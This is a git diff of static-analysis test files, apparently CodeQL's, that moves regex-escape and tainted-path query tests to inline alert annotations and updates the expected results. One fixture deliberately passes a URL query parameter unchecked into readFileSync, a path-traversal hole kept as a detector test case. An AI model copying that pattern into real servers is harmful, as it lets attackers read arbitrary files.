-| tst-escapes.js:16:29:16:30 | '\\)' is equivalent to just ')', so the sequence may still represent a meta-character | The escape sequence '\\)' is equivalent to just ')', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
-| tst-escapes.js:16:33:16:34 | '\\+' is equivalent to just '+', so the sequence may still represent a meta-character | The escape sequence '\\+' is equivalent to just '+', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
-| tst-escapes.js:17:9:17:10 | '\\[' is equivalent to just '[', so the sequence may still represent a meta-character | The escape sequence '\\[' is equivalent to just '[', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:17:8:17:22 | "\\[\\]\\'\\\\,\\.\\/" | regular expression |
-| tst-escapes.js:17:11:17:12 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:17:8:17:22 | "\\[\\]\\'\\\\,\\.\\/" | regular expression |
-| tst-escapes.js:17:18:17:19 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:17:8:17:22 | "\\[\\]\\'\\\\,\\.\\/" | regular expression |
-| tst-escapes.js:18:9:18:10 | '\\{' is equivalent to just '{', so the sequence may still represent a meta-character | The escape sequence '\\{' is equivalent to just '{', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:18:8:18:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
-| tst-escapes.js:18:11:18:12 | '\\}' is equivalent to just '}', so the sequence may still represent a meta-character | The escape sequence '\\}' is equivalent to just '}', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:18:8:18:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
-| tst-escapes.js:18:17:18:18 | '\\\|' is equivalent to just '\|', so the sequence may still represent a meta-character | The escape sequence '\\\|' is equivalent to just '\|', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:18:8:18:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
-| tst-escapes.js:18:23:18:24 | '\\?' is equivalent to just '?', so the sequence may still represent a meta-character | The escape sequence '\\?' is equivalent to just '?', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:18:8:18:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
-| tst-escapes.js:41:9:41:10 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:41:8:41:11 | "\\." | regular expression |
-| tst-escapes.js:56:10:56:11 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:56:8:56:13 | "[\\.]" | regular expression |
-| tst-escapes.js:57:12:57:13 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:57:8:57:17 | "a[b\\.c]d" | regular expression |
-| tst-escapes.js:60:9:60:10 | '\\k' is equivalent to just 'k', so the sequence is not a backreference | The escape sequence '\\k' is equivalent to just 'k', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:60:8:60:19 | `\\k\\\\k\\d\\\\d` | regular expression |
-| tst-escapes.js:60:14:60:15 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:60:8:60:19 | `\\k\\\\k\\d\\\\d` | regular expression |
-| tst-escapes.js:61:9:61:10 | '\\k' is equivalent to just 'k', so the sequence is not a backreference | The escape sequence '\\k' is equivalent to just 'k', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:61:8:61:25 | `\\k\\\\k${foo}\\d\\\\d` | regular expression |
-| tst-escapes.js:61:20:61:21 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:61:8:61:25 | `\\k\\\\k${foo}\\d\\\\d` | regular expression |
-| tst-escapes.js:64:9:64:10 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:64:8:64:11 | "\\]" | regular expression |
-| tst-escapes.js:69:13:69:14 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:69:8:69:15 | "\\\\\\\\\\]" | regular expression |
-| tst-escapes.js:73:17:73:18 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:73:8:73:19 | "\\\\\\\\\\\\\\\\\\]" | regular expression |
+| tst-escapes.js:11:11:11:12 | '\\b' is a backspace, and not a word-boundary assertion | The escape sequence '\\b' is a backspace, and not a word-boundary assertion when it is used in a $@. | tst-escapes.js:11:8:11:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
+| tst-escapes.js:11:13:11:14 | '\\c' is equivalent to just 'c', so the sequence is not a character class | The escape sequence '\\c' is equivalent to just 'c', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:11:8:11:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
+| tst-escapes.js:11:15:11:16 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:11:8:11:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
+| tst-escapes.js:11:29:11:30 | '\\k' is equivalent to just 'k', so the sequence is not a backreference | The escape sequence '\\k' is equivalent to just 'k', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:11:8:11:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
+| tst-escapes.js:11:39:11:40 | '\\p' is equivalent to just 'p', so the sequence is not a character class | The escape sequence '\\p' is equivalent to just 'p', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:11:8:11:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
+| tst-escapes.js:11:45:11:46 | '\\s' is equivalent to just 's', so the sequence is not a character class | The escape sequence '\\s' is equivalent to just 's', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:11:8:11:61 | "\\a\\b\\c ... \\x\\y\\z" | regular expression |
+| tst-escapes.js:12:11:12:12 | '\\B' is equivalent to just 'B', so the sequence is not an assertion | The escape sequence '\\B' is equivalent to just 'B', so the sequence is not an assertion when it is used in a $@. | tst-escapes.js:12:8:12:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
+| tst-escapes.js:12:15:12:16 | '\\D' is equivalent to just 'D', so the sequence is not a character class | The escape sequence '\\D' is equivalent to just 'D', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:12:8:12:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
+| tst-escapes.js:12:39:12:40 | '\\P' is equivalent to just 'P', so the sequence is not a character class | The escape sequence '\\P' is equivalent to just 'P', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:12:8:12:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
+| tst-escapes.js:12:45:12:46 | '\\S' is equivalent to just 'S', so the sequence is not a character class | The escape sequence '\\S' is equivalent to just 'S', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:12:8:12:59 | "\\A\\B\\C ... \\X\\Y\\Z" | regular expression |
+| tst-escapes.js:13:11:13:12 | '\\1' is equivalent to just '1', so the sequence is not a backreference | The escape sequence '\\1' is equivalent to just '1', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:13:13:14 | '\\2' is equivalent to just '2', so the sequence is not a backreference | The escape sequence '\\2' is equivalent to just '2', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:15:13:16 | '\\3' is equivalent to just '3', so the sequence is not a backreference | The escape sequence '\\3' is equivalent to just '3', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:17:13:18 | '\\4' is equivalent to just '4', so the sequence is not a backreference | The escape sequence '\\4' is equivalent to just '4', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:19:13:20 | '\\5' is equivalent to just '5', so the sequence is not a backreference | The escape sequence '\\5' is equivalent to just '5', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:21:13:22 | '\\6' is equivalent to just '6', so the sequence is not a backreference | The escape sequence '\\6' is equivalent to just '6', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:23:13:24 | '\\7' is equivalent to just '7', so the sequence is not a backreference | The escape sequence '\\7' is equivalent to just '7', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:25:13:26 | '\\8' is equivalent to just '8', so the sequence is not a backreference | The escape sequence '\\8' is equivalent to just '8', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:27:13:28 | '\\9' is equivalent to just '9', so the sequence is not a backreference | The escape sequence '\\9' is equivalent to just '9', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:13:31:13:32 | '\\-' is equivalent to just '-', so the sequence may still represent a meta-character | The escape sequence '\\-' is equivalent to just '-', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:13:8:13:35 | "\\`\\1\\2 ... \\0\\-\\=" | regular expression |
+| tst-escapes.js:14:17:14:18 | '\\$' is equivalent to just '$', so the sequence may still represent a meta-character | The escape sequence '\\$' is equivalent to just '$', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:14:8:14:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
+| tst-escapes.js:14:21:14:22 | '\\^' is equivalent to just '^', so the sequence may still represent a meta-character | The escape sequence '\\^' is equivalent to just '^', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:14:8:14:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
+| tst-escapes.js:14:25:14:26 | '\\*' is equivalent to just '*', so the sequence may still represent a meta-character | The escape sequence '\\*' is equivalent to just '*', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:14:8:14:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
+| tst-escapes.js:14:27:14:28 | '\\(' is equivalent to just '(', so the sequence may still represent a meta-character | The escape sequence '\\(' is equivalent to just '(', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:14:8:14:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
+| tst-escapes.js:14:29:14:30 | '\\)' is equivalent to just ')', so the sequence may still represent a meta-character | The escape sequence '\\)' is equivalent to just ')', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:14:8:14:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
+| tst-escapes.js:14:33:14:34 | '\\+' is equivalent to just '+', so the sequence may still represent a meta-character | The escape sequence '\\+' is equivalent to just '+', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:14:8:14:35 | "\\~\\!\\@ ... \\)\\_\\+" | regular expression |
+| tst-escapes.js:15:9:15:10 | '\\[' is equivalent to just '[', so the sequence may still represent a meta-character | The escape sequence '\\[' is equivalent to just '[', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:15:8:15:22 | "\\[\\]\\'\\\\,\\.\\/" | regular expression |
+| tst-escapes.js:15:11:15:12 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:15:8:15:22 | "\\[\\]\\'\\\\,\\.\\/" | regular expression |
+| tst-escapes.js:15:18:15:19 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:15:8:15:22 | "\\[\\]\\'\\\\,\\.\\/" | regular expression |
+| tst-escapes.js:16:9:16:10 | '\\{' is equivalent to just '{', so the sequence may still represent a meta-character | The escape sequence '\\{' is equivalent to just '{', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
+| tst-escapes.js:16:11:16:12 | '\\}' is equivalent to just '}', so the sequence may still represent a meta-character | The escape sequence '\\}' is equivalent to just '}', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
+| tst-escapes.js:16:17:16:18 | '\\\|' is equivalent to just '\|', so the sequence may still represent a meta-character | The escape sequence '\\\|' is equivalent to just '\|', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
+| tst-escapes.js:16:23:16:24 | '\\?' is equivalent to just '?', so the sequence may still represent a meta-character | The escape sequence '\\?' is equivalent to just '?', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:16:8:16:25 | "\\{\\}\\\\\\"\\\|\\<\\>\\?" | regular expression |
+| tst-escapes.js:39:9:39:10 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:39:8:39:11 | "\\." | regular expression |
+| tst-escapes.js:54:10:54:11 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:54:8:54:13 | "[\\.]" | regular expression |
+| tst-escapes.js:55:12:55:13 | '\\.' is equivalent to just '.', so the sequence may still represent a meta-character | The escape sequence '\\.' is equivalent to just '.', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:55:8:55:17 | "a[b\\.c]d" | regular expression |
+| tst-escapes.js:58:9:58:10 | '\\k' is equivalent to just 'k', so the sequence is not a backreference | The escape sequence '\\k' is equivalent to just 'k', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:58:8:58:19 | `\\k\\\\k\\d\\\\d` | regular expression |
+| tst-escapes.js:58:14:58:15 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:58:8:58:19 | `\\k\\\\k\\d\\\\d` | regular expression |
+| tst-escapes.js:59:9:59:10 | '\\k' is equivalent to just 'k', so the sequence is not a backreference | The escape sequence '\\k' is equivalent to just 'k', so the sequence is not a backreference when it is used in a $@. | tst-escapes.js:59:8:59:25 | `\\k\\\\k${foo}\\d\\\\d` | regular expression |
+| tst-escapes.js:59:20:59:21 | '\\d' is equivalent to just 'd', so the sequence is not a character class | The escape sequence '\\d' is equivalent to just 'd', so the sequence is not a character class when it is used in a $@. | tst-escapes.js:59:8:59:25 | `\\k\\\\k${foo}\\d\\\\d` | regular expression |
+| tst-escapes.js:62:9:62:10 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:62:8:62:11 | "\\]" | regular expression |
+| tst-escapes.js:67:13:67:14 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:67:8:67:15 | "\\\\\\\\\\]" | regular expression |
+| tst-escapes.js:71:17:71:18 | '\\]' is equivalent to just ']', so the sequence may still represent a meta-character | The escape sequence '\\]' is equivalent to just ']', so the sequence may still represent a meta-character when it is used in a $@. | tst-escapes.js:71:8:71:19 | "\\\\\\\\\\\\\\\\\\]" | regular expression |
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.qlref b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.qlref
index 57187b21edf7..6898c59b4d29 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.qlref
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/UselessRegExpCharacterEscape.qlref
@@ -1 +1,2 @@
-Security/CWE-020/UselessRegExpCharacterEscape.ql
\ No newline at end of file
+query: Security/CWE-020/UselessRegExpCharacterEscape.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/tst-escapes.js b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/tst-escapes.js
index 4e2dcd674e79..b65448ec41b2 100644
--- a/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/tst-escapes.js
+++ b/javascript/ql/test/query-tests/Security/CWE-020/UselessCharacterEscape/tst-escapes.js
@@ -1,5 +1,3 @@
-// (the lines of this file are not annotated with alert expectations)
-
 // no backslashes
 RegExp("abcdefghijklmnopqrstuvxyz");
 RegExp("ABCDEFGHIJKLMNOPQRSTUVXYZ");
@@ -10,12 +8,12 @@ RegExp("{}\"|<>?");
 RegExp(" ");
 
 // backslashes
-RegExp("\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\\u\v\\x\y\z");
-RegExp("\A\B\C\D\E\F\G\H\I\J\K\L\M\N\O\P\Q\R\S\T\U\V\X\Y\Z");
-RegExp("\`\1\2\3\4\5\6\7\8\9\0\-\=");
-RegExp("\~\!\@\#\$\%\^\&\*\(\)\_\+");
-RegExp("\[\]\'\\,\.\/");
-RegExp("\{\}\\\"\|\<\>\?");
+RegExp("\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\\u\v\\x\y\z"); // $ Alert
+RegExp("\A\B\C\D\E\F\G\H\I\J\K\L\M\N\O\P\Q\R\S\T\U\V\X\Y\Z"); // $ Alert
+RegExp("\`\1\2\3\4\5\6\7\8\9\0\-\="); // $ Alert
+RegExp("\~\!\@\#\$\%\^\&\*\(\)\_\+"); // $ Alert
+RegExp("\[\]\'\\,\.\/"); // $ Alert
+RegExp("\{\}\\\"\|\<\>\?"); // $ Alert
 RegExp("\ ");
 /\a\b\c\d\e\f\g\h\i\j\k\l\m\n\o\p\q\r\s\t\u\v\\x\y\z"/;
 /\A\B\C\D\E\F\G\H\I\J\K\L\M\N\O\P\Q\R\S\T\U\V\X\Y\Z/;
@@ -38,7 +36,7 @@ RegExp("\\\\\\\\\a");
 RegExp("\\\\\\\\\\a");
 
 // string vs regexp
-RegExp("\.")
+RegExp("\.") // $ Alert
 "\.";
 
 // other
@@ -53,21 +51,21 @@ RegExp("^\\\\Q\\\\E$");
 RegExp("/\\*");
 RegExp("/\
 ");
-RegExp("[\.]");
-RegExp("a[b\.c]d");
+RegExp("[\.]"); // $ Alert
+RegExp("a[b\.c]d"); // $ Alert
 RegExp("\b");
 RegExp(`\b`);
-RegExp(`\k\\k\d\\d`)
-RegExp(`\k\\k${foo}\d\\d`)
+RegExp(`\k\\k\d\\d`) // $ Alert
+RegExp(`\k\\k${foo}\d\\d`) // $ Alert
 
 // effective escapes
-RegExp("\]")
+RegExp("\]") // $ Alert
 RegExp("\\]")
 RegExp("\\\]"); // effectively escaped after all
 RegExp("x\\\]"); // effectively escaped after all
 RegExp("\\\\]")
-RegExp("\\\\\]")
+RegExp("\\\\\]") // $ Alert
 RegExp("\\\\\\]")
 RegExp("\\\\\\\]") // effectively escaped after all
 RegExp("\\\\\\\\]")
-RegExp("\\\\\\\\\]")
+RegExp("\\\\\\\\\]") // $ Alert
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/Consistency.ql b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/Consistency.ql
deleted file mode 100644
index 0183ac6ade66..000000000000
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/Consistency.ql
+++ /dev/null
@@ -1,9 +0,0 @@
-import javascript
-import semmle.javascript.security.dataflow.TaintedPathQuery
-deprecated import utils.test.ConsistencyChecking
-
-deprecated class TaintedPathConsistency extends ConsistencyConfiguration {
-  TaintedPathConsistency() { this = "TaintedPathConsistency" }
-
-  override DataFlow::Node getAnAlert() { TaintedPathFlow::flowTo(result) }
-}
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath-es6.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath-es6.js
index f7c6d172ead2..573302c33cc5 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath-es6.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath-es6.js
@@ -4,8 +4,7 @@ import { parse } from 'url';
 import { join } from 'path';
 
 var server = createServer(function(req, res) {
-  let path = parse(req.url, true).query.path;
+  let path = parse(req.url, true).query.path; // $ Source
 
-  // BAD: This could read any file on the file system
-  res.write(readFileSync(join("public", path)));
+  res.write(readFileSync(join("public", path))); // $ Alert - This could read any file on the file system
 });
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected
index 8f1786508a59..4147726065ec 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.expected
@@ -1,665 +1,401 @@
-nodes
-| TaintedPath-es6.js:7:7:7:44 | path | semmle.label | path |
-| TaintedPath-es6.js:7:14:7:33 | parse(req.url, true) | semmle.label | parse(req.url, true) |
-| TaintedPath-es6.js:7:14:7:39 | parse(r ... ).query | semmle.label | parse(r ... ).query |
-| TaintedPath-es6.js:7:14:7:44 | parse(r ... ry.path | semmle.label | parse(r ... ry.path |
-| TaintedPath-es6.js:7:20:7:26 | req.url | semmle.label | req.url |
-| TaintedPath-es6.js:10:26:10:45 | join("public", path) | semmle.label | join("public", path) |
-| TaintedPath-es6.js:10:41:10:44 | path | semmle.label | path |
-| TaintedPath.js:9:7:9:48 | path | semmle.label | path |
-| TaintedPath.js:9:14:9:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:9:14:9:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:9:14:9:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:9:24:9:30 | req.url | semmle.label | req.url |
-| TaintedPath.js:12:29:12:32 | path | semmle.label | path |
-| TaintedPath.js:15:29:15:48 | "/home/user/" + path | semmle.label | "/home/user/" + path |
-| TaintedPath.js:15:45:15:48 | path | semmle.label | path |
-| TaintedPath.js:18:33:18:36 | path | semmle.label | path |
-| TaintedPath.js:21:33:21:36 | path | semmle.label | path |
-| TaintedPath.js:24:33:24:36 | path | semmle.label | path |
-| TaintedPath.js:33:31:33:34 | path | semmle.label | path |
-| TaintedPath.js:38:3:38:44 | path | semmle.label | path |
-| TaintedPath.js:38:10:38:33 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:38:10:38:39 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:38:10:38:44 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:38:20:38:26 | req.url | semmle.label | req.url |
-| TaintedPath.js:42:29:42:52 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| TaintedPath.js:42:48:42:51 | path | semmle.label | path |
-| TaintedPath.js:46:29:46:49 | pathMod ... n(path) | semmle.label | pathMod ... n(path) |
-| TaintedPath.js:46:45:46:48 | path | semmle.label | path |
-| TaintedPath.js:48:29:48:58 | pathMod ... ath, z) | semmle.label | pathMod ... ath, z) |
-| TaintedPath.js:48:51:48:54 | path | semmle.label | path |
-| TaintedPath.js:50:29:50:54 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| TaintedPath.js:50:50:50:53 | path | semmle.label | path |
-| TaintedPath.js:52:29:52:56 | pathMod ... , path) | semmle.label | pathMod ... , path) |
-| TaintedPath.js:52:52:52:55 | path | semmle.label | path |
-| TaintedPath.js:54:29:54:56 | pathMod ... ath, x) | semmle.label | pathMod ... ath, x) |
-| TaintedPath.js:54:49:54:52 | path | semmle.label | path |
-| TaintedPath.js:56:29:56:52 | pathMod ... e(path) | semmle.label | pathMod ... e(path) |
-| TaintedPath.js:56:48:56:51 | path | semmle.label | path |
-| TaintedPath.js:58:29:58:61 | pathMod ... ath, z) | semmle.label | pathMod ... ath, z) |
-| TaintedPath.js:58:54:58:57 | path | semmle.label | path |
-| TaintedPath.js:60:29:60:61 | pathMod ... h(path) | semmle.label | pathMod ... h(path) |
-| TaintedPath.js:60:57:60:60 | path | semmle.label | path |
-| TaintedPath.js:65:31:65:70 | require ... eq.url) | semmle.label | require ... eq.url) |
-| TaintedPath.js:65:31:65:76 | require ... ).query | semmle.label | require ... ).query |
-| TaintedPath.js:65:63:65:69 | req.url | semmle.label | req.url |
-| TaintedPath.js:66:31:66:68 | require ... eq.url) | semmle.label | require ... eq.url) |
-| TaintedPath.js:66:31:66:74 | require ... ).query | semmle.label | require ... ).query |
-| TaintedPath.js:66:61:66:67 | req.url | semmle.label | req.url |
-| TaintedPath.js:67:31:67:67 | require ... eq.url) | semmle.label | require ... eq.url) |
-| TaintedPath.js:67:31:67:73 | require ... ).query | semmle.label | require ... ).query |
-| TaintedPath.js:67:60:67:66 | req.url | semmle.label | req.url |
-| TaintedPath.js:75:48:75:60 | req.params[0] | semmle.label | req.params[0] |
-| TaintedPath.js:84:6:84:47 | path | semmle.label | path |
-| TaintedPath.js:84:13:84:36 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:84:13:84:42 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:84:13:84:47 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:84:23:84:29 | req.url | semmle.label | req.url |
-| TaintedPath.js:86:28:86:48 | fs.real ... c(path) | semmle.label | fs.real ... c(path) |
-| TaintedPath.js:86:44:86:47 | path | semmle.label | path |
-| TaintedPath.js:87:14:87:17 | path | semmle.label | path |
-| TaintedPath.js:88:32:88:39 | realpath | semmle.label | realpath |
-| TaintedPath.js:89:45:89:52 | realpath | semmle.label | realpath |
-| TaintedPath.js:120:6:120:47 | path | semmle.label | path |
-| TaintedPath.js:120:13:120:36 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:120:13:120:42 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:120:13:120:47 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:120:23:120:29 | req.url | semmle.label | req.url |
-| TaintedPath.js:122:23:122:26 | path | semmle.label | path |
-| TaintedPath.js:126:7:126:48 | path | semmle.label | path |
-| TaintedPath.js:126:14:126:37 | url.par ... , true) | semmle.label | url.par ... , true) |
-| TaintedPath.js:126:14:126:43 | url.par ... ).query | semmle.label | url.par ... ).query |
-| TaintedPath.js:126:14:126:48 | url.par ... ry.path | semmle.label | url.par ... ry.path |
-| TaintedPath.js:126:24:126:30 | req.url | semmle.label | req.url |
-| TaintedPath.js:128:19:128:22 | path | semmle.label | path |
-| TaintedPath.js:130:7:130:29 | split | semmle.label | split |
-| TaintedPath.js:130:15:130:18 | path | semmle.label | path |
-| TaintedPath.js:130:15:130:29 | path.split("/") | semmle.label | path.split("/") |
-| TaintedPath.js:132:19:132:23 | split | semmle.label | split |
-| TaintedPath.js:132:19:132:33 | split.join("/") | semmle.label | split.join("/") |
-| TaintedPath.js:136:19:136:23 | split | semmle.label | split |
-| TaintedPath.js:136:19:136:26 | split[x] | semmle.label | split[x] |
-| TaintedPath.js:137:19:137:35 | prefix + split[x] | semmle.label | prefix + split[x] |
-| TaintedPath.js:137:28:137:32 | split | semmle.label | split |
-| TaintedPath.js:137:28:137:35 | split[x] | semmle.label | split[x] |
-| TaintedPath.js:139:7:139:38 | concatted | semmle.label | concatted |
-| TaintedPath.js:139:19:139:38 | prefix.concat(split) | semmle.label | prefix.concat(split) |
-| TaintedPath.js:139:33:139:37 | split | semmle.label | split |
-| TaintedPath.js:140:19:140:27 | concatted | semmle.label | concatted |
-| TaintedPath.js:140:19:140:37 | concatted.join("/") | semmle.label | concatted.join("/") |
-| TaintedPath.js:142:7:142:39 | concatted2 | semmle.label | concatted2 |
